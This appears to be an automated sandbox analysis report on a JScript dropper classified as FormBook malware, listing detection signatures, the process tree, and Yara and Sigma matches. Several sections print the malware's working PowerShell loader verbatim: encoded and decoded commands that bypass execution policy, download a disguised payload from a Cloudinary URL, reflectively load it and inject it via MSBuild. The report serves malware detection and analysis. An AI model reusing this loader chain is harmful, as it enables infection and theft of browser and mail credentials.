Edit tour

Windows Analysis Report
1013911.js

Overview

General Information

Sample name:	1013911.js
Analysis ID:	1567224
MD5:	55be1707eaf08b827b66cc78a1e69e16
SHA1:	a826394d49fc7ad0e3db1ca040c167ef40ea9bdd
SHA256:	bf92cd30b94f0164d738c92a6be0fd7d72e0795d3ab1868cf0ec8ec1e57a201b
Tags:	jsStrelaStealeruser-lowmal3
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Sigma detected: Paste sharing url in reverse order

Sigma detected: Powershell download and load assembly

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Net WebClient Casing Anomalies

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: WScript or CScript Dropper - File

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7296 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1013911.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cscript.exe (PID: 7384 cmdline: "C:\Windows\System32\cscript.exe" C:\Users\user\AppData\Local\Temp\ostaxa.js MD5: 24590BF74BBBBFD7D7AC070F4E3C44FD)

conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7464 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAZABqAHUAdABvAHIAKQA7ACQAbQBhAG4AZAB1AGMAYQByACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQA7ACQAbQBhAG4AZAB1AGMAYQByAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnADAALwBWAEEAZgB6ADUALwByAC8AZQBlAC4AZQB0AHMAYQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAgACcAcwB5AG0AcABvAHMAaQBhAHIAYwBoAGEAJwAsACAAJwBzAHkAbQBwAG8AcwBpAGEAcgBjAGgAYQAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwBzAHkAbQBwAG8AcwBpAGEAcgBjAGgAYQAnACwAIAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnAHMAeQBtAHAAbwBzAGkAYQByAGMAaABhACcALAAnADEAJwAsACcAcwB5AG0AcABvAHMAaQBhAHIAYwBoAGEAJwApACkAOwBpAGYAIAAoACQAbgB1AGwAbAAgAC0AbgBlACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIAAtAGEAbgBkACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAWwB2AG8AaQBkAF0AJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAH0AIABlAGwAcwBlACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBQAG8AdwBlAHIAUwBoAGUAbABsACAAdgBlAHIAcwBpAG8AbgAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAJwAgAH0AOwBpAGYAIAAoACQAbgB1AGwAbAAgAC0AbgBlACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUAIAAtAGEAbgBkACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAWwB2AG8AaQBkAF0AJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAgAH0AIABlAGwAcwBlACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBQAG8AdwBlAHIAUwBoAGUAbABsACAAdgBlAHIAcwBpAG8AbgAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAJwAgAH0AOwA=';$atomismo = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($zooiatrologia));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $atomismo MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };" MD5: 04029E121A0CFA5991749937DD22A1D9)

MSBuild.exe (PID: 8012 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

choice.exe (PID: 8104 cmdline: "C:\Windows\SysWOW64\choice.exe" MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

firefox.exe (PID: 1908 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.2951402841.0000000004770000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2951435333.00000000047C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2570201674.0000000006950000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2950913668.0000000002B00000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: powershell.exe PID: 7464	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7464	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x11c374:$b2: ::FromBase64String( 0x11ce2f:$b2: ::FromBase64String( 0x11e18c:$b2: ::FromBase64String( 0x11e8fb:$b2: ::FromBase64String( 0x11f191:$b2: ::FromBase64String( 0x11f8b6:$b2: ::FromBase64String( 0x11c1bb:$b3: ::UTF8.GetString( 0x11cc76:$b3: ::UTF8.GetString( 0x11dfd3:$b3: ::UTF8.GetString( 0x11e742:$b3: ::UTF8.GetString( 0x11efd8:$b3: ::UTF8.GetString( 0x11f6fd:$b3: ::UTF8.GetString( 0x10355d:$s1: -join 0x10d178:$s1: -join 0x11c306:$s1: -join 0x11cdc1:$s1: -join 0x11e11e:$s1: -join 0x11e88d:$s1: -join 0x11f123:$s1: -join 0x11f848:$s1: -join 0x90282:$s3: reverse
Process Memory Space: powershell.exe PID: 7616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
9.2.MSBuild.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7616.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

Networking

Sigma detected: Paste sharing url in reverse order

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64Strin

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAZABqAHUAdABvAHIAKQA7ACQAbQ

Sigma detected: Net WebClient Casing Anomalies

Source: Process started

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() | ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += 